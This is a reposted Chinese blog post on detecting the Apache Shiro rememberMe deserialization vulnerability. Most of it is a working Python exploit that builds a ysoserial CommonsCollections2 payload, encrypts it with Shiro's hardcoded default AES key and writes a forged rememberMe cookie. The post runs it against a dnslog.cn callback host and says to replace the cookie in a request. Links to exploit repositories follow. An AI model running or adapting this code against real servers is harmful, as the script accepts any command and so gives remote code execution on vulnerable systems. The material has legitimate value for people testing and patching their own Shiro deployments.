码迷,mamicode.com
首页 > 其他好文 > 详细

Shiro反序列化漏洞检测、dnslog

时间:2020-05-05 16:20:42      阅读:981      评论:0      收藏:0      [点我收藏+]

标签:https   mem   uuid   ESS   git   nslog   rand   RoCE   col   

信息收集

技术图片

poc

# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen([‘java‘, ‘-jar‘, ‘ysoserial-0.0.6-SNAPSHOT-BETA-all.jar‘, ‘CommonsCollections2‘, command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == ‘__main__‘:
    payload = encode_rememberme(sys.argv[1])    
    with open("/tmp/payload.cookie", "w") as fpw:
        print("rememberMe={}".format(payload.decode()), file=fpw)
python shiro_poc.py "sfvpil.dnslog.cn"

/tmp/payload.cookie

替换发包的rememberMe=X

参考

https://github.com/insightglacier/Shiro_exploit
https://github.com/Medicean/VulApps/tree/master/s/shiro/
https://www.cnblogs.com/paperpen/p/11312671.html

Shiro反序列化漏洞检测、dnslog

标签:https   mem   uuid   ESS   git   nslog   rand   RoCE   col   

原文地址:https://www.cnblogs.com/mysticbinary/p/12830791.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!